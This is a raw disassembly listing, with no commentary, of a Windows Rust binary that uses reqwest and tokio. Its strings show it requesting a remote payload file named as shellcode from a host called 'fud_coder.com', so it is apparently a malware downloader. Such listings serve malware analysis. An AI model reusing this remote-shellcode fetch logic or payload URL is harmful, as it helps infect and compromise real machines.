je 0x14004b0a0
cmp r14d, 1
lea rbx, [rbp + 0x50]
je 0x14004af2c
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x140053810]
call fcn.1400e8540
mov byte [rdi + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r14d, byte [rax + 0x11c]
movzx ecx, byte [rax + 0x11d]
mov byte [rbp + 0x55f], cl
mov word [rax + 0x11c], 0x8001
movzx eax, byte [rbp + 0x4c8]
test eax, eax
je 0x14004b0b3
cmp eax, 3
jne 0x14004c1e8
movzx eax, byte [rbp + 0x4c0]
test eax, eax
je 0x14004b4b7
cmp eax, 3
jne 0x14004c28f
lea rdi, [rbp + 0x50]
cmp dword [rbp + 0x388], 2
je 0x14004b569
nop
mov rcx, rdi
lea rdx, [rbp + 0x388]
lea r8, [rbp + 0x1c0]
call fcn.1400d1f00
cmp qword [rbp + 0x50], 4
jne 0x14004b590
mov byte [rbp + 0x4c0], 3
mov bl, 3
mov dil, 1
mov byte [rbp + 0x4c8], bl
cmp r14b, 2
je 0x14004b051
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14004b051
cmp eax, 1
je 0x14004b02a
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400fba20]
call fcn.1400e8540
mov byte [rbx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r14b
movzx ecx, byte [rbp + 0x55f]
mov byte [rax + 0x11d], cl
cmp qword [rbp + 0x520], 0
jne 0x14004c29d
mov qword [rbp + 0x520], 0xffffffffffffffff
mov r12, qword [rbp + 0x528]
mov qword [rbp + 0x528], 0
test r12, r12
je 0x14004c2a9
mov qword [rbp + 0x520], 0
test dil, dil
jne 0x14004b230
jmp 0x14004bc17
lea rbx, [rbp + 0x50]
movzx eax, byte [rbp + 0x4c8]
test eax, eax
jne 0x14004af6c
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rsi
call fcn.1400f1b40
mov qword [rbp + 0x1e8], 0
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov r8, qword [rbp + 0x1e8]
mov rax, r8
movabs rdx, 0x19db1ded53e8000
sub rax, rdx
neg rax
movabs rcx, 0xfe624e212ac18000
add rcx, r8
cmp r8, rdx
cmovl rcx, rax
mov rax, rcx
movabs rdx, 0xd6bf94d5e57a42bd
mul rdx
shr rdx, 0x17
imul eax, edx, 0x989680
sub ecx, eax
movabs rax, 0x19db1ded53e7fff
cmp r8, rax
jle 0x14004c3c7
imul rax, rdx, 0x3e8
mov ecx, ecx
mov edx, 0xd1b71759
imul rcx, rdx
shr rcx, 0x2d
add rcx, rax
mov qword [rbp + 0x50], rcx
mov qword [rbp + 0x58], 0
mov qword [rbp - 0x48], rbx
lea rax, [0x14000bf10]
mov qword [rbp - 0x40], rax
lea rax, str.Time:
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 2
mov qword [rbp + 0x208], 0
lea rax, [rbp - 0x48]
mov qword [rbp + 0x1f8], rax
mov qword [rbp + 0x200], 1
mov rcx, rsi
call fcn.1400f1b40
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rsi
call fcn.1400f1b40
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rsi
call fcn.1400f1b40
mov ecx, 5
call fcn.1400e9310
jmp 0x14004b4b0
mov r8, qword [rbp + 0x518]
mov edi, dword [r8 + 0x40]
test edi, edi
je 0x14004b42f
nop word cs:[rax + rax]
cmp byte [r12 + 0x68], 0
jne 0x14004bbbe
inc dword [r12 + 0x60]
mov rdx, qword [rbp + 0x518]
add rdx, 0x10
mov rcx, r12
call fcn.1400f7530
test rax, rax
je 0x14004b470
cmp qword [rbp + 0x520], 0
jne 0x14004c2c1
mov rbx, rax
mov qword [rbp + 0x520], 0xffffffffffffffff
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x14004b2c0
call fcn.14004c5a0
mov rax, qword [rbp + 0x520]
inc rax
jmp 0x14004b2c2
xor eax, eax
mov qword [rbp + 0x528], r12
mov qword [rbp + 0x520], rax
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r14d, byte [rax + 0x120]
cmp r14d, 2
je 0x14004b360
cmp r14d, 1
je 0x14004b325
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x140053810]
call fcn.1400e8540
mov byte [r14 + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r14d, byte [rax + 0x11c]
movzx r12d, byte [rax + 0x11d]
mov word [rax + 0x11c], 0x8001
jmp 0x14004b360
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax]
cmp r14b, 2
je 0x14004b3e1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 2
je 0x14004b3e1
cmp eax, 1
je 0x14004b3c0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400fba20]
call fcn.1400e8540
mov byte [rbx + 0x120], 1
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], r14b
mov byte [rax + 0x11d], r12b
cmp qword [rbp + 0x520], 0
jne 0x14004c29d
mov qword [rbp + 0x520], 0xffffffffffffffff
mov r12, qword [rbp + 0x528]
mov qword [rbp + 0x528], 0
test r12, r12
je 0x14004c2a9
mov qword [rbp + 0x520], 0
dec edi
jne 0x14004b250
mov r8, qword [rbp + 0x518]
add r8, 0x10
lea rcx, [rbp + 0x518]
mov rdx, r12
call case.0x1400ec442.214
mov r12, rax
mov rax, qword [rbp + 0x518]
xor ecx, ecx
xchg byte [rax + 0xb0], cl
test cl, cl
jne 0x14004ae81
jmp 0x14004b230
movabs rax, 0x7fffffffffffffff
cmp qword [rbp + 0x530], rax
jae 0x14004c4b1
mov r8, qword [rbp + 0x518]
add r8, 0x10
cmp qword [rbp + 0x548], 0
jne 0x14004b433
lea rcx, [rbp + 0x518]
mov rdx, r12
call fcn.1400f7610
jmp 0x14004b442
mov byte [rbp + 0x4c0], 0
mov rcx, rsi
call fcn.1400ccc10
mov rcx, rsi
call fcn.1400ccfe0
test rax, rax
jne 0x14004c15b
mov qword [rbp + 0x380], rdx
lea rdi, [rbp + 0x50]
mov rcx, rdi
lea r8, str.https:__code.visualstudio.com_download
call fcn.140053c70
cmp dword [rbp + 0x50], 2
jne 0x14004b520
mov qword [rbp + 0x1e8], 2
mov rax, qword [rbp + 0x58]
mov rbx, qword [rbp + 0x160]
mov qword [rbp + 0x1f0], rax
lock dec qword [rbx]
je 0x14004b53b
jmp 0x14004b547
mov rbx, qword [rbp + 0x160]
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
call fcn.1400cf6a0
lock dec qword [rbx]
jne 0x14004b547
lea rcx, [rbp + 0x160]
call fcn.1400c0f10
mov r8d, 0x138
lea rcx, [rbp + 0x388]
mov rdx, rsi
call fcn.14011a750
cmp dword [rbp + 0x388], 2
jne 0x14004afa0
mov rax, qword [rbp + 0x390]
mov qword [rbp + 0x390], 0
test rax, rax
je 0x14004c1b8
mov qword [rbp + 0x50], 3
mov qword [rbp + 0x58], rax
mov r8d, 0x98
lea rcx, [rbp - 0x48]
mov rdx, rdi
call fcn.14011a750
cmp dword [rbp + 0x388], 2
jne 0x14004b640
mov r12, qword [rbp + 0x390]
test r12, r12
je 0x14004b8d1
mov rbx, qword [r12 + 0x58]
test rbx, rbx
je 0x14004b5fc
mov rdi, qword [r12 + 0x60]
mov rax, qword [rdi]
test rax, rax
je 0x14004b5db
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14004b5fc
cmp qword [rdi + 0x10], 0x11
jb 0x14004b5ed
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call r13
mov rax, qword [r12]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004b8c2
test rax, rax
je 0x14004b8c2
mov r8, qword [r12 + 8]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
jmp 0x14004b8c2
cmp byte [rbp + 0x480], 0xa
jb 0x14004b666
cmp qword [rbp + 0x490], 0
je 0x14004b666
mov r8, qword [rbp + 0x488]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
cmp qword [rbp + 0x410], 0
je 0x14004b683
mov r8, qword [rbp + 0x418]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
cmp qword [rbp + 0x400], 0
je 0x14004b6a0
mov r8, qword [rbp + 0x3f8]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
mov rdi, qword [rbp + 0x3d8]
test rdi, rdi
je 0x14004b700
mov rbx, qword [rbp + 0x3d0]
add rbx, 0x30
jmp 0x14004b6db
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec rdi
je 0x14004b700
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14004b6c0
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x14004b6c0
cmp qword [rbp + 0x3c8], 0
je 0x14004b71d
mov r8, qword [rbp + 0x3d0]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
mov rdi, qword [rbp + 0x3f0]
test rdi, rdi
je 0x14004b75b
mov rbx, qword [rbp + 0x3e8]
add rbx, 0x38
nop word cs:[rax + rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x48
dec rdi
jne 0x14004b740
cmp qword [rbp + 0x3e0], 0
je 0x14004b778
mov r8, qword [rbp + 0x3e8]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
cmp qword [rbp + 0x388], 0
je 0x14004b7a6
mov rax, qword [rbp + 0x390]
test rax, rax
je 0x14004b7a6
mov rdx, qword [rbp + 0x398]
mov r8, qword [rbp + 0x3a0]
lea rcx, [rbp + 0x3a8]
call qword [rax + 0x10]
mov rdi, qword [rbp + 0x478]
test rdi, rdi
je 0x14004b7f0
mov rbx, qword [rbp + 0x470]
add rbx, 8
jmp 0x14004b7c9
add rbx, 0x58
dec rdi
je 0x14004b7f0
cmp qword [rbx - 8], 0
je 0x14004b7c0
mov r8, qword [rbx]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
jmp 0x14004b7c0
cmp qword [rbp + 0x468], 0
je 0x14004b80d
mov r8, qword [rbp + 0x470]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
mov rax, qword [rbp + 0x498]
lock dec qword [rax]
jne 0x14004b826
lea rcx, [rbp + 0x498]
call fcn.1400458a0
mov rbx, qword [rbp + 0x4a0]
mov rdi, qword [rbp + 0x4a8]
mov rax, qword [rdi]
test rax, rax
je 0x14004b841
mov rcx, rbx
call rax
cmp qword [rdi + 8], 0
je 0x14004b862
cmp qword [rdi + 0x10], 0x11
jb 0x14004b853
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
call r13
mov r12, qword [rbp + 0x4b8]
test r12, r12
je 0x14004b8d1
mov rcx, r12
call fcn.140107200
lea rcx, [r12 + 8]
cmp qword [r12], 0
je 0x14004b8a0
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004b8b0
call fcn.1400440c0
jmp 0x14004b8b0
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004b8b0
call fcn.14002ea00
nop
mov rax, qword [r12 + 0x48]
test rax, rax
je 0x14004b8c2
mov rcx, qword [r12 + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r12
call r13
cmp dword [rbp - 0x48], 3
jne 0x14004b920
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
lea rdi, [rbp + 0x50]
mov rcx, rdi
call fcn.1400f1b40
mov ecx, 3
call fcn.1400e9310
lea rcx, [rbp - 0x48]
call fcn.1400475c0
mov rdx, qword [rbp + 0x380]
jmp 0x14004b4db
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 1
mov qword [rbp + 0x60], 8
movups xmmword [rbp + 0x68], xmm6
lea rcx, [rbp + 0x50]
call fcn.1400f1b40
lea rcx, [rbp - 0x48]
call fcn.1400475c0
mov rax, qword [rbp + 0x380]
lock dec qword [rax]
jne 0x14004b963
lea rcx, [rbp + 0x380]
call fcn.1400458a0
mov byte [rbp + 0x4c0], 1
lea rdi, str.REQWEST_URLhttps:__fud_coder.com_uf_shellcodeAny_20241014215657647.bin
mov rcx, rdi
lea rdx, [0x140151083]
call fcn.1400496a0
mov r8d, 0xb
mov rcx, rsi
mov rdx, rdi
call fcn.1400ecbf0
mov rdi, qword [rbp + 0x1e8]
movabs rax, 0x8000000000000000
cmp rdi, rax
je 0x14004b4b0
mov r12, qword [rbp + 0x1f0]
mov r8, qword [rbp + 0x1f8]
cmp byte [rbp + 0x200], 0
je 0x14004bb20
lea rcx, [rbp - 0x48]
mov rdx, r12
call fcn.140003620
movabs rax, 0x8000000000000000
cmp qword [rbp - 0x48], rax
jne 0x14004ba10
mov ecx, 5
call fcn.1400e9310
test rdi, rdi
je 0x14004b4b0
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r12
call r13
jmp 0x14004b4b0
mov rax, qword [rbp - 0x38]
mov qword [rbp + 0x60], rax
movups xmm0, xmmword [rbp - 0x48]
movaps xmmword [rbp + 0x50], xmm0
call fcn.140003b90
call fcn.1400017c0
mov rbx, rax
and eax, 3
cmp eax, 1
jne 0x14004ba8e
mov r13, qword [rbx - 1]
mov r15, qword [rbx + 7]
mov rax, qword [r15]
test rax, rax
je 0x14004ba4a
mov rcx, r13
call rax
cmp qword [r15 + 8], 0
je 0x14004ba6e
cmp qword [r15 + 0x10], 0x11
jb 0x14004ba5c
mov r13, qword [r13 - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
dec rbx
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rbx
mov r13, qword [sym.imp.kernel32.dll_HeapFree]
call r13
lea r15, [0x140151238]
mov rcx, rsi
call fcn.140001b90
cmp qword [rbp + 0x1e8], 0
je 0x14004bab2
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14004bab2
mov rax, qword [rcx]
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400e9310
call fcn.140004c50
mov qword [rbp + 0x1e8], r15
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
movups xmmword [rbp + 0x200], xmm6
mov rcx, rsi
call fcn.1400f1b40
lea rcx, [rbp + 0x50]
call fcn.1400015a0
mov bl, 1
test rdi, rdi
je 0x14004bbb7
mov rcx, qword [0x140198260]
xor edi, edi
xor edx, edx
mov r8, r12
call r13
jmp 0x14004afcd
test r8, r8
je 0x14004b9c6
lea rax, [r12 + r8]
mov rdx, r12
jmp 0x14004bb4c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop dword [rax]
mov rdx, rcx
cmp rcx, rax
je 0x14004b9c6
lea rcx, [rdx + 1]
movzx r9d, byte [rdx]
test r9b, r9b
jns 0x14004bb40
cmp r9b, 0xe0
jb 0x14004bb32
cmp r9b, 0xed
jne 0x14004bb8e
cmp rcx, rax
je 0x14004b9c6
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14004b9c6
cmp byte [rdx + 1], 0x9f
ja 0x14004b9ec
add rdx, 3
mov rcx, rdx
jmp 0x14004bb40
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r9b, 0xf0
jb 0x14004bb40
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14004bb40
xor edi, edi
jmp 0x14004afcd
cmp qword [rbp + 0x520], 0
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x508]
mov qword [rax + 0x108], rcx
mov bl, 1
jne 0x14004c4a5
mov qword [rbp + 0x520], 0xffffffffffffffff
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x14004bc51
call fcn.14004c5a0
mov rax, qword [rbp + 0x520]
inc rax
jmp 0x14004bc53
mov eax, dword [0x140198314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x508]
mov qword [rax + 0x108], rcx
xor ebx, ebx
mov qword [rbp + 0x520], 0xffffffffffffffff
mov rcx, qword [rbp + 0x528]
test rcx, rcx
jne 0x14004bc06
xor eax, eax
mov qword [rbp + 0x528], r12
mov qword [rbp + 0x520], rax
lea rcx, [rbp + 0x510]
call fcn.1400f73c0
cmp qword [rbp + 0x510], 0
je 0x14004bd1d
mov rax, qword [rbp + 0x518]
lock dec qword [rax]
jne 0x14004bc94
lea rcx, [rbp + 0x518]
call fcn.140043fd0
mov rsi, qword [rbp + 0x528]
test rsi, rsi
je 0x14004bd47
mov rcx, qword [rsi]
test rcx, rcx
je 0x14004bcd3
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14004c4bd
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14004bcd3
mov rax, qword [rcx + 0x10]
call qword [rax + 0x10]
lea rdi, [rsi + 0x18]
mov rcx, rdi
call fcn.140053a80
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x14004bcf1
mov rcx, rdi
call fcn.1400c1ed0
mov rax, qword [rsi + 8]
test rax, rax
je 0x14004bd09
lock dec qword [rax]
jne 0x14004bd09
lea rcx, [rsi + 8]
call fcn.140044300
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004bd47
mov rax, qword [rbp + 0x518]
lock dec qword [rax]
jne 0x14004bd36
lea rcx, [rbp + 0x518]
call fcn.14002ea00
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x14004bd47
call fcn.14004c5a0
mov rsi, qword [rbp + 0x548]
test rsi, rsi
je 0x14004bd73
mov rdi, qword [rbp + 0x540]
add rdi, 8
nop
mov rax, qword [rdi - 8]
mov rcx, qword [rdi]
call qword [rax + 0x18]
add rdi, 0x10
dec rsi
jne 0x14004bd60
cmp qword [rbp + 0x538], 0
je 0x14004bd93
mov r8, qword [rbp + 0x540]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
jne 0x14004c464
mov ecx, dword [rbp + 0x4e8]
mov edx, dword [rbp + 0x4ec]
call fcn.140108160
lea rcx, [rbp + 0x4d0]
call fcn.1400f6d00
mov rax, qword [rbp + 0x4d0]
cmp rax, 2
je 0x14004bdfe
test rax, rax
je 0x14004bde5
mov rax, qword [rbp + 0x4d8]
lock dec qword [rax]
jne 0x14004bdfe
lea rcx, [rbp + 0x4d8]
call fcn.1400440c0
jmp 0x14004bdfe
mov rax, qword [rbp + 0x4d8]
lock dec qword [rax]
jne 0x14004bdfe
lea rcx, [rbp + 0x4d8]
call fcn.14002ea00
cmp byte [rbp + 0x4c8], 3
jne 0x14004c140
cmp byte [rbp + 0x4c0], 3
jne 0x14004c140
cmp dword [rbp + 0x388], 2
jne 0x14004beaa
mov rsi, qword [rbp + 0x390]
test rsi, rsi
je 0x14004c127
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x14004be73
mov rbx, qword [rsi + 0x60]
mov rax, qword [rbx]
test rax, rax
je 0x14004be4f
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x14004be73
cmp qword [rbx + 0x10], 0x11
jb 0x14004be61
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004c115
test rax, rax
je 0x14004c115
mov r8, qword [rsi + 8]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004c115
cmp byte [rbp + 0x480], 0xa
jb 0x14004bed3
cmp qword [rbp + 0x490], 0
je 0x14004bed3
mov r8, qword [rbp + 0x488]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x410], 0
je 0x14004bef3
mov r8, qword [rbp + 0x418]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x400], 0
je 0x14004bf13
mov r8, qword [rbp + 0x3f8]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rbp + 0x3d8]
test rdi, rdi
je 0x14004bf65
mov rsi, qword [rbp + 0x3d0]
add rsi, 0x30
jmp 0x14004bf4b
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x68
dec rdi
je 0x14004bf65
mov rax, qword [rsi + 0x10]
test rax, rax
je 0x14004bf30
lea rcx, [rsi + 0x28]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + 0x10]
jmp 0x14004bf30
cmp qword [rbp + 0x3c8], 0
je 0x14004bf85
mov r8, qword [rbp + 0x3d0]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rbp + 0x3f0]
test rdi, rdi
je 0x14004bfbb
mov rsi, qword [rbp + 0x3e8]
add rsi, 0x38
nop dword [rax]
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x48
dec rdi
jne 0x14004bfa0
cmp qword [rbp + 0x3e0], 0
je 0x14004bfdb
mov r8, qword [rbp + 0x3e8]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x388], 0
je 0x14004c009
mov rax, qword [rbp + 0x390]
test rax, rax
je 0x14004c009
lea rcx, [rbp + 0x3a8]
mov rdx, qword [rbp + 0x398]
mov r8, qword [rbp + 0x3a0]
call qword [rax + 0x10]
mov rsi, qword [rbp + 0x478]
test rsi, rsi
je 0x14004c051
mov rdi, qword [rbp + 0x470]
add rdi, 8
jmp 0x14004c039
add rdi, 0x58
dec rsi
je 0x14004c051
cmp qword [rdi - 8], 0
je 0x14004c030
mov r8, qword [rdi]
mov rcx, qword [0x140198260]
xor edx, edx
call r13
jmp 0x14004c030
cmp qword [rbp + 0x468], 0
je 0x14004c071
mov r8, qword [rbp + 0x470]
mov rcx, qword [0x140198260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x498]
lock dec qword [rax]
jne 0x14004c08a
lea rcx, [rbp + 0x498]
call fcn.1400458a0
mov rsi, qword [rbp + 0x4a0]
mov rdi, qword [rbp + 0x4a8]
mov rax, qword [rdi]
test rax, rax
je 0x14004c0a5
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x14004c0c9
cmp qword [rdi + 0x10], 0x11
jb 0x14004c0b7
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0x4b8]
test rsi, rsi
je 0x14004c127
mov rcx, rsi
call fcn.140107200
lea rcx, [rsi + 8]
cmp qword [rsi], 0
je 0x14004c0f7
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004c105
call fcn.1400440c0
jmp 0x14004c105
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14004c105
call fcn.14002ea00
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x14004c115
mov rcx, qword [rsi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140198260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rbp + 0x380]
lock dec qword [rax]
jne 0x14004c140
lea rcx, [rbp + 0x380]
call fcn.1400458a0
movaps xmm6, xmmword [rbp + 0x570]
add rsp, 0x608
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rbp + 0x1e8], rdx
lea rax, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.Client::new__
lea r9, [0x140158060]
lea r8, [rbp + 0x1e8]
mov edx, 0xd
call fcn.14011b890
lea rax, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140163200]
lea r8, [rbp + 0x560]
mov edx, 0x2b
call fcn.14011b890
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.14011b950
lea rcx, [0x140162998]
lea r8, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_timeentry.rs
mov edx, 0x73
call fcn.14011b950
lea rcx, [0x140151060]
call fcn.14011bb80
imul eax, ecx, 0x64
mov qword [rbp + 0x1e8], rdx
mov dword [rbp + 0x1f0], eax
lea rax, [0x140151020]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140150da8]
lea r8, [rbp + 0x1e8]
mov edx, 0x2b
call fcn.14011b890
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x48]
mov qword [rbp + 0x50], rax
lea rax, [fcn.140008650]
mov qword [rbp + 0x58], rax
lea rax, [0x1401610a8]
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x208], 0
mov qword [rbp + 0x1f8], r12
mov qword [rbp + 0x200], 1
lea rdx, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimepark.rsinconsistent_park_state__actual_
lea rcx, [rbp + 0x1e8]
call fcn.14011b520
lea rcx, [0x140150fe0]
call fcn.14011bb80
ud2
lea rcx, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rstask__was_cancelled
call fcn.14011b7d0
lea rcx, str.core_missing
lea r8, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rstask__was_cancelled
mov edx, 0xc
call fcn.14011b950
lea rcx, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rstask__was_cancelled
call fcn.14011b7d0
lea rax, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_schedulercurrent_threadmod.rstask__was_cancelled
mov qword [rsp + 0x20], rax
lea rcx, str.Failed_to__Enter::block_on_
lea r9, [0x140163200]
lea r8, [rbp + 0x560]
mov edx, 0x1b
call fcn.14011b890
lea rax, str.Cannot_start_a_runtime_from_within_a_runtime._This_happens_because_a_function__like__block_on___attempted_to_block_the_current_thread_while_the_thread_is_being_used_to_drive_asynchronous_tasks.
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, [0x140129110]
lea rcx, [rbp + 0x1e8]
call fcn.14011b520
lea rcx, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.14011b7d0
lea rax, str.reached_max__enter__depth
mov qword [rbp + 0x1e8], rax
mov qword [rbp + 0x1f0], 1
mov qword [rbp + 0x1f8], 8
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, str.C:UsersCodeX.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
